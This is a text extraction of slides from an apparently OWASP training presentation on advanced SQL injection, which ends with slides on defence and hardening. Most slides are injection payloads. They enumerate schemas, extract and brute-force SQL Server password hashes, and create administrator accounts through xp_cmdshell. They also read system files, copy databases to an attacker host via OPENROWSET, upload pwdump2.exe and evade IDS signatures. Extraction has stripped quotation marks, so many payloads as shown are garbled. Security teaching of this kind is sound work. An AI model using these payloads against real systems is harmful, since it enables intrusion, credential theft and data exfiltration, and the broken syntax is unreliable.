    26. 26. Blind Injection We can use different known outcomes  and condition and 1=1 Or we can use if statements  ; if condition waitfor delay 0:0:5 --  ; union select if( condition , benchmark (100000, sha1(test)), false ),1,1,1,1; Additionally, we can run all types of queries but with no debugging information! We get yes/no responses only  We can extract ASCII a bit at a time...  Very noisy and time consuming but possible with automated tools like SQueaL OWASP 26
    27. 27. b) Understanding the Query The query can be:  SELECT  UPDATE  EXEC  INSERT  Or something more complex Context helps  What is the form or page trying to do with our input?  What is the name of the field, cookie or parameter? OWASP 27
    28. 28. SELECT StatementMost injections will land in the middle of a SELECT statementIn a SELECT clause we almost always end up in the WHERE section: SELECT *  FROM table  WHERE x = normalinput group by x having 1=1 --  GROUP BY x  HAVING x = y  ORDER BY x OWASP 28
    29. 29. UPDATE statementIn a change your password section of an app we may find the following UPDATE users SET password = new password WHERE login = logged.user AND password = old password If you inject in new password and comment the rest, you end up changing every password in the table! OWASP 29
    30. 30. Determining a SELECT Query Structure1. Try to replicate an error free navigation  Could be as simple as and 1 = 1  Or and 1 = 22. Generate specific errors  Determine table and column names group by columnnames having 1=1 --  Do we need parenthesis? Is it a subquery? OWASP 30
    31. 31. Is it a stored procedure?We use different injections to determine what we can or cannot do ,@variable ?Param1=foo&Param2=bar PRINT PRINT @@variable OWASP 31
    32. 32. Tricky Queries When we are in a part of a subquery or begin - end statement  We will need to use parenthesis to get out  Some functionality is not available in subqueries (for example group by, having and further subqueries)  In some occasions we will need to add an END When several queries use the input  We may end up creating different errors in different queries, it gets confusing! An error generated in the query we are interrupting may stop execution of our batch queries Some queries are simply not escapable! OWASP 32
    33. 33. c) Determine Database Engine TypeMost times the error messages will let us know what DB engine we are working with ODBC errors will display database type as part of the driver informationIf we have no ODBC error messages: We make an educated guess based on the Operating System and Web Server Or we use DB-specific characters, commands or stored procedures that will generate different error messages OWASP 33
    34. 34. Some differences MS SQL Oracle Postgres MySQL Access DB2 T-SQL PL/SQL PL/pgSQLConcatenate concat (" Strings + ", " ") " "&" " || " "+" " || Null Isnull() Ifnull() Iff(Isnull()) Ifnull() Ifnull() COALESCE() replacePosition CHARINDEX LOCATE() InStr() InStr() InStr() TEXTPOS() select into import Op Sys xp_cmdshell outfile / #date# utf_file from Callinteraction dumpfile export to Cast Yes No No No Yes Yes OWASP 34
    35. 35. More differences… MS SQL MySQL Access Oracle DB2 Postgres UNION Y Y Y Y Y Y N 4.0 Subselects Y N Y Y Y Y 4.1Batch Queries Y N* N N N YDefault stored Many N N Many N Nprocedures Linking DBs Y Y N Y Y N OWASP 35
    36. 36. d) Finding out user privilege level There are several SQL99 built-in scalar functions that will work in most SQL implementations:  user or current_user  session_user  system_user and 1 in (select user ) -- ; if user =dbo waitfor delay 0:0:5 -- union select if( user() like root@%, benchmark(50000,sha1(test)), false ); OWASP 36
    37. 37. DB Administrators Default administrator accounts include:  sa, system, sys, dba, admin, root and many others In MS SQL they map into dbo:  The dbo is a user that has implied permissions to perform all activities in the database.  Any member of the sysadmin fixed server role who uses a database is mapped to the special user inside each database called dbo.  Also, any object created by any member of the sysadmin fixed server role belongs to dbo automatically. OWASP 37
    38. 38. 3) 1=1 Attacks 1) Input Validation 2) Info. Gathering 3) 1=1 Attacks 5) OS Interaction 4) Extracting Data 6) OS Cmd Prompt 7) Expand Influence OWASP 38
    39. 39. Discover DB structureDetermine table and column names group by columnnames having 1=1 --Discover column name types union select sum(columnname ) from tablename --Enumerate user defined tables and 1 in (select min(name) from sysobjects where xtype = U and name > .) -- OWASP 39
    40. 40. Enumerating table columns in different DBs MS SQL  SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = tablename )  sp_columns tablename (this stored procedure can be used instead) MySQL  show columns from tablename Oracle  SELECT * FROM all_tab_columns WHERE table_name=tablename  DB2  SELECT * FROM syscat.columns WHERE tabname= tablename  Postgres  SELECT attnum,attname from pg_class, pg_attribute WHERE relname= tablename AND pg_class.oid=attrelid AND attnum > 0 OWASP 40
    41. 41. All tables and columns in one query union select 0, + : + + : +, 1, 1, 1, 1, 1, 1, 1, 1 from sysobjects, syscolumns, systypes where sysobjects.xtype = U AND = AND syscolumns.xtype = systypes.xtype -- OWASP 41
    42. 42. Database EnumerationIn MS SQL Server, the databases can be queried with master..sysdatabases Different databases in Server  and 1 in (select min(name ) from master.dbo.sysdatabases where name >. ) -- File location of databases  and 1 in (select min(filename ) from master.dbo.sysdatabases where filename >. ) -- OWASP 42
    43. 43. System Tables Oracle  MS Access  SYS.USER_OBJECTS  MsysACEs  SYS.TAB  MsysObjects  SYS.USER_TEBLES  SYS.USER_VIEWS  MsysQueries  SYS.ALL_TABLES  MsysRelationships  SYS.USER_TAB_COLUMNS  SYS.USER_CATALOG  MS SQL Server MySQL  sysobjects  mysql.user  syscolumns   systypes  mysql.db  sysdatabases OWASP 43
    44. 44. 4) Extracting Data 1) Input Validation 2) Info. Gathering 3) 1=1 Attacks 5) OS Interaction 4) Extracting Data 6) OS Cmd Prompt 7) Expand Influence OWASP 44
    45. 45. Password grabbingGrabbing username and passwords from a User Defined table ; begin declare @var varchar(8000) set @var=: select @var=@var+ +login+/+password+ from users where login>@var select @var as var into temp end --  and 1 in (select var from temp) --  ; drop table temp -- OWASP 45
    46. 46. Create DB AccountsMS SQL  exec sp_addlogin victor, Pass123  exec sp_addsrvrolemember victor, sysadminMySQL  INSERT INTO mysql.user (user, host, password) VALUES (victor, localhost, PASSWORD(Pass123))Access  CREATE USER victor IDENTIFIED BY Pass123Postgres (requires UNIX account)  CREATE USER victor WITH PASSWORD Pass123Oracle  CREATE USER victor IDENTIFIED BY Pass123 TEMPORARY TABLESPACE temp DEFAULT TABLESPACE users;  GRANT CONNECT TO victor;  GRANT RESOURCE TO victor; OWASP 46
    47. 47. Grabbing MS SQL Server Hashes An easy query:  SELECT name, password FROM sysxlogins But, hashes are varbinary  To display them correctly through an error message we need to Hex them  And then concatenate all  We can only fit 70 name/password pairs in a varchar  We can only see 1 complete pair at a time Password field requires dbo access  With lower privileges we can still recover user names and brute force the password OWASP 47
    48. 48. What do we do? The hashes are extracted using  SELECT password FROM master..sysxlogins We then hex each hash begin @charvalue=0x, @i=1, @length=datalength(@binvalue), @hexstring = 0123456789ABCDEF while (@i<=@length) BEGIN declare @tempint int, @firstint int, @secondint int select @tempint=CONVERT(int,SUBSTRING(@binvalue,@i,1)) select @firstint=FLOOR(@tempint/16) select @secondint=@tempint - (@firstint*16) select @charvalue=@charvalue + SUBSTRING (@hexstring,@firstint+1,1) + SUBSTRING (@hexstring, @secondint+1, 1) select @i=@i+1 END And then we just cycle through all passwords OWASP 48
    49. 49. Extracting SQL HashesIt is a long statement ; begin declare @var varchar(8000), @xdate1 datetime, @binvalue varbinary(255), @charvalue varchar(255), @i int, @length int, @hexstring char(16) set @var=: select @xdate1=(select min(xdate1) from master.dbo.sysxlogins where password is not null) begin while @xdate1 <= (select max(xdate1) from master.dbo.sysxlogins where password is not null) begin select @binvalue=(select password from master.dbo.sysxlogins where xdate1=@xdate1), @charvalue = 0x, @i=1, @length=datalength(@binvalue), @hexstring = 0123456789ABCDEF while (@i<=@length) begin declare @tempint int, @firstint int, @secondint int select @tempint=CONVERT(int, SUBSTRING(@binvalue,@i,1)) select @firstint=FLOOR(@tempint/16) select @secondint=@tempint - (@firstint*16) select @charvalue=@charvalue + SUBSTRING (@hexstring,@firstint+1,1) + SUBSTRING (@hexstring, @secondint+1, 1) select @i=@i+1 end select @var=@var+ | +name+/+@charvalue from master.dbo.sysxlogins where xdate1=@xdate1 select @xdate1 = (select isnull(min(xdate1),getdate()) from master..sysxlogins where xdate1>@xdate1 and password is not null) end select @var as x into temp end end -- OWASP 49
    50. 50. Extract hashes through error messages and 1 in (select x from temp) -- and 1 in (select substring (x, 256, 256) from temp) -- and 1 in (select substring (x, 512, 256) from temp) --etc… drop table temp -- OWASP 50
    51. 51. Brute forcing Passwords Passwords can be brute forced by using the attacked server to do the processing SQL Crack Script  create table tempdb..passwords( pwd varchar(255) )  bulk insert tempdb..passwords from c:temppasswords.txt  select name, pwd from tempdb..passwords inner join sysxlogins on (pwdcompare( pwd, sysxlogins.password, 0 ) = 1) union select name, name from sysxlogins where (pwdcompare( name, sysxlogins.password, 0 ) = 1) union select, null from sysxlogins join syslogins on sysxlogins.sid=syslogins.sid where sysxlogins.password is null and syslogins.isntgroup=0 and syslogins.isntuser=0  drop table tempdb..passwords OWASP 51
    52. 52. Transfer DB structure and dataOnce network connectivity has been testedSQL Server can be linked back to the attackers DB by using OPENROWSETDB Structure is replicatedData is transferredIt can all be done by connecting to a remote port 80! OWASP 52
    53. 53. Create Identical DB Structure; insert into OPENROWSET(SQLoledb, uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;, select * from mydatabase..hacked_sysdatabases) select * from master.dbo.sysdatabases --; insert into OPENROWSET(SQLoledb, uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;, select * from mydatabase..hacked_sysdatabases) select * from user_database.dbo.sysobjects --; insert into OPENROWSET(SQLoledb, uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;, select * from mydatabase..hacked_syscolumns) select * from user_database.dbo.syscolumns -- OWASP 53
    54. 54. Transfer DB; insert into OPENROWSET(SQLoledb, uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;, select * from mydatabase..table1) select * from database..table1 --; insert into OPENROWSET(SQLoledb, uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;, select * from mydatabase..table2) select * from database..table2 -- OWASP 54
    55. 55. 5) OS Interaction 1) Input Validation 2) Info. Gathering 3) 1=1 Attacks 5) OS Interaction 4) Extracting Data 6) OS Cmd Prompt 7) Expand Influence OWASP 55
    56. 56. Interacting with the OS Two ways to interact with the OS: 1. Reading and writing system files from disk  Find passwords and configuration files  Change passwords and configuration  Execute commands by overwriting initialization or configuration files 2. Direct command execution  We can do anything Both are restricted by the databases running privileges and permissions OWASP 56
    57. 57. MySQL OS InteractionMySQL LOAD_FILE  union select 1,load_file(/etc/passwd),1,1,1; LOAD DATA INFILE  create table temp( line blob );  load data infile /etc/passwd into table temp;  select * from temp; SELECT INTO OUTFILE OWASP 57
    58. 58. MS SQL OS Interaction MS SQL Server  ; exec master..xp_cmdshell ipconfig > test.txt --  ; CREATE TABLE tmp (txt varchar(8000)); BULK INSERT tmp FROM test.txt --  ; begin declare @data varchar(8000) ; set @data=| ; select @data=@data+txt+ | from tmp where txt<@data ; select @data as x into temp end --  and 1 in (select substring(x,1,256) from temp) --  ; declare @var sysname; set @var = del test.txt; EXEC master..xp_cmdshell @var; drop table temp; drop table tmp -- OWASP 58
    59. 59. Architecture To keep in mind always! Our injection most times will be executed on a different server The DB server may not even have Internet access Web Server Application Server Database Server Web Input Injected SQL Page Validation Execution! Access Flaw OWASP 59
    60. 60. Assessing Network Connectivity Server name and configuration  and 1 in (select @@servername ) --  and 1 in (select srvname from master..sysservers ) -- NetBIOS, ARP, Local Open Ports, Trace route? Reverse connections  nslookup, ping  ftp, tftp, smb We have to test for firewall and proxies OWASP 60
    61. 61. Gathering IP information through reverselookupsReverse DNS ; exec master..xp_cmdshell nslookup MyIP --Reverse Pings ; exec master..xp_cmdshell ping MyIP --OPENROWSET ; select * from OPENROWSET( SQLoledb, uid=sa; pwd=Pass123; Network=DBMSSOCN; Address=MyIP,80;, select * from table) OWASP 61
    62. 62. Network ReconnaissanceUsing the xp_cmdshell all the following can be executed: Ipconfig /all Tracert myIP arp -a nbtstat -c netstat -ano route print OWASP 62
    63. 63. Network Reconnaissance Full Query ; declare @var varchar(256); set @var = del test.txt && arp - a >> test.txt && ipconfig /all >> test.txt && nbtstat -c >> test.txt && netstat -ano >> test.txt && route print >> test.txt && tracert -w 10 -h 10 >> test.txt; EXEC master..xp_cmdshell @var -- ; CREATE TABLE tmp (txt varchar(8000)); BULK INSERT tmp FROM test.txt -- ; begin declare @data varchar(8000) ; set @data=: ; select @data=@data+txt+ | from tmp where txt<@data ; select @data as x into temp end -- and 1 in (select substring(x,1,255) from temp) -- ; declare @var sysname; set @var = del test.txt; EXEC master..xp_cmdshell @var; drop table temp; drop table tmp -- OWASP 63
    64. 64. 6) OS Cmd Prompt 1) Input Validation 2) Info. Gathering 3) 1=1 Attacks 5) OS Interaction 4) Extracting Data 6) OS Cmd Prompt 7) Expand Influence OWASP 64
    65. 65. Jumping to the OSLinux based MySQL  union select 1, (load_file(/etc/passwd)),1,1,1;MS SQL Windows Password Creation ; exec xp_cmdshell net user /add victor Pass123-- ; exec xp_cmdshell net localgroup /add administrators victor --Starting Services ; exec master..xp_servicecontrol start,FTP Publishing -- OWASP 65
    66. 66. Using ActiveX Automation ScriptsSpeech example ; declare @o int, @var int exec sp_oacreate speech.voicetext, @o out exec sp_oamethod @o, register, NULL, x, x exec sp_oasetproperty @o, speed, 150 exec sp_oamethod @o, speak, NULL, warning, your sequel server has been hacked!, 1 waitfor delay 00:00:03 -- OWASP 66
    67. 67. Retrieving VNC Password from Registry; declare @out binary(8) exec master..xp_regread @rootkey=HKEY_LOCAL_MACHINE, @key=SOFTWAREORLWinVNC3Default, @value_name=Password, @value = @out output select cast(@out as bigint) as x into TEMP-- and 1 in (select cast(x as varchar) from temp) -- OWASP 67
    68. 68. 7) Expand Influence 1) Input Validation 2) Info. Gathering 3) 1=1 Attacks 5) OS Interaction 4) Extracting Data 6) OS Cmd Prompt 7) Expand Influence OWASP 68
    69. 69. Hopping into other DB ServersFinding linked servers in MS SQL select * from sysserversUsing the OPENROWSET command hopping to those servers can easily be achievedThe same strategy we saw earlier with using OPENROWSET for reverse connections OWASP 69
    70. 70. Linked Servers; insert into OPENROWSET(SQLoledb, uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;, select * from mydatabase..hacked_sysservers) select * from master.dbo.sysservers; insert into OPENROWSET(SQLoledb, uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;, select * from mydatabase..hacked_linked_sysservers) select * from LinkedServer.master.dbo.sysservers; insert into OPENROWSET(SQLoledb, uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;, select * from mydatabase..hacked_linked_sysdatabases) select * from LinkedServer.master.dbo.sysdatabases OWASP 70
    71. 71. Executing through stored proceduresremotely If the remote server is configured to only allow stored procedure execution, this changes would be made:insert into OPENROWSET(SQLoledb, uid=sa; pwd=Pass123; Network=DBMSSOCN; Address=myIP,80;, select * from mydatabase..hacked_sysservers) exec Linked_Server.master.dbo.sp_executesql Nselect * from master.dbo.sysserversinsert into OPENROWSET(SQLoledb, uid=sa; pwd=Pass123; Network=DBMSSOCN; Address=myIP,80;, select * from mydatabase..hacked_sysdatabases) exec Linked_Server.master.dbo.sp_executesql Nselect * from master.dbo.sysdatabases OWASP 71
    72. 72. Uploading files through reverse connection ; create table AttackerTable (data text) -- ; bulk insert AttackerTable -- from pwdump2.exe with (codepage=RAW) ; exec master..xp_regwrite HKEY_LOCAL_MACHINE,SOFTWAREMicrosoftMSSQLSer verClientConnectTo, MySrvAlias,REG_SZ,DBMSSOCN, MyIP, 80 -- ; exec xp_cmdshell bcp "select * from AttackerTable" queryout pwdump2.exe -c -Craw -SMySrvAlias -Uvictor -PPass123 -- OWASP 72
    73. 73. Uploading files through SQL InjectionIf the database server has no Internet connectivity, files can still be uploadedSimilar process but the files have to be hexed and sent as part of a query stringFiles have to be broken up into smaller pieces (4,000 bytes per piece) OWASP 73
    74. 74. Example of SQL injection file uploadingThe whole set of queries is lengthyYou first need to inject a stored procedure to convert hex to binary remotelyYou then need to inject the binary as hex in 4000 byte chunks  declare @hex varchar(8000), @bin varchar(8000) select @hex = 4d5a900003000…  8000 hex chars …0000000000000000000 exec master..sp_hex2bin @hex, @bin output ; insert master..pwdump2 select @bin --Finally you concatenate the binaries and dump the file to disk. OWASP 74
    75. 75. Evasion TechniquesOWASP Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP Foundation
    76. 76. Evasion TechniquesInput validation circumvention and IDS Evasion techniques are very similarSnort based detection of SQL Injection is partially possible but relies on "signatures"Signatures can be evaded easilyInput validation, IDS detection AND strong database and OS hardening must be used together OWASP 76
    77. 77. IDS Signature EvasionEvading OR 1=1 signature OR unusual = unusual OR something = some+thing OR text = Ntext OR something like some% OR 2 > 1 OR text > t OR whatever IN (whatever) OR 2 BETWEEN 1 AND 3 OWASP 77
    78. 78. Input validationSome people use PHP addslashes() function to escape characters single quote () double quote (") backslash () NUL (the NULL byte)This can be easily evaded by using replacements for any of the previous characters in a numeric field OWASP 78
    79. 79. Evasion and CircumventionIDS and input validation can be circumvented by encodingSome ways of encoding parameters URL encoding Unicode/UTF-8 Hex enconding char() function OWASP 79
    80. 80. MySQL Input Validation Circumvention usingChar() Inject without quotes (string = "%"):  or username like char(37); Inject without quotes (string = "root"):  union select * from users where login = char(114,111,111,116); Load files in unions (string = "/etc/passwd"):  union select 1, (load_file(char(47,101,116,99,47,112,97,115,115,119,100))),1,1, 1; Check for existing files (string = "n.ext"):  and 1=( if( (load_file(char(110,46,101,120,116))<>char(39,39)),1,0) ); OWASP 80
    81. 81. IDS Signature Evasion using white spacesUNION SELECT signature is different toUNION SELECTTab, carriage return, linefeed or several white spaces may be usedDropping spaces might work even better OR1=1 (with no spaces) is correctly interpreted by some of the friendlier SQL databases OWASP 81
    82. 82. IDS Signature Evasion using commentsSome IDS are not tricked by white spacesUsing comments is the best alternative /* … */ is used in SQL99 to delimit multirow comments UNION/**/SELECT/**/ /**/OR/**/1/**/=/**/1 This also allows to spread the injection through multiple fields  USERNAME: or 1/*  PASSWORD: */ =1 -- OWASP 82
    83. 83. IDS Signature Evasion using stringconcatenationIn MySQL it is possible to separate instructions with comments UNI/**/ON SEL/**/ECTOr you can concatenate text and use a DB specific instruction to execute Oracle  ; EXECUTE IMMEDIATE SEL || ECT US || ER MS SQL  ; EXEC (SEL + ECT US + ER) OWASP 83
    84. 84. IDS and Input Validation Evasion usingvariables Yet another evasion technique allows for the definition of variables  ; declare @x nvarchar(80); set @x = NSEL + NECT US + NER);  EXEC (@x)  EXEC SP_EXECUTESQL @x Or even using a hex value  ; declare @x varchar(80); set @x = 0x73656c65637420404076657273696f6e; EXEC (@x)  This statement uses no single quotes () OWASP 84
    85. 85. Defending Against SQL InjectionOWASP Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP Foundation
    86. 86. SQL Injection DefenseIt is quite simple: input validationThe real challenge is making best practices consistent through all your code Enforce "strong design" in new applications You should audit your existing websites and source codeEven if you have an air tight design, harden your servers OWASP 86
    87. 87. Strong DesignDefine an easy "secure" path to querying data Use stored procedures for interacting with database Call stored procedures through a parameterized API Validate all input through generic routines Use the principle of "least privilege"  Define several roles, one for each kind of query OWASP 87
    88. 88. Input ValidationDefine data types for each field Implement stringent "allow only good" filters  If the input is supposed to be numeric, use a numeric variable in your script to store it Reject bad input rather than attempting to escape or modify it Implement stringent "known bad" filters  For example: reject "select", "insert", "update", "shutdown", "delete", "drop", "--", "" OWASP 88
    89. 89. Harden the Server1. Run DB as a low-privilege user account2. Remove unused stored procedures and functionality or restrict access to administrators3. Change permissions and remove "public" access to system objects4. Audit password strength for all user accounts5. Remove pre-authenticated linked servers6. Remove unused network protocols7. Firewall the server so that only trusted clients can connect to it (typically only: administrative network, web server and backup server) OWASP 89
    90. 90. Detection and Dissuasion You may want to react to SQL injection attempts by:  Logging the attempts  Sending email alerts  Blocking the offending IP  Sending back intimidating error messages:  "WARNING: Improper use of this application has been detected. A possible attack was identified. Legal actions will be taken."  Check with your lawyers for proper wording This should be coded into your validation scripts OWASP 90
    91. 91. ConclusionSQL Injection is a fascinating and dangerous vulnerabilityAll programming languages and all SQL databases are potentially vulnerableProtecting against it requires strong design correct input validation hardening OWASP 91
    92. 92. Links A lot of SQL Injection related papers     Other resources    OWASP 92
    93. 93. Advanced SQL Injection Victor Chapela victor@sm4rt.comOWASP Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP Foundation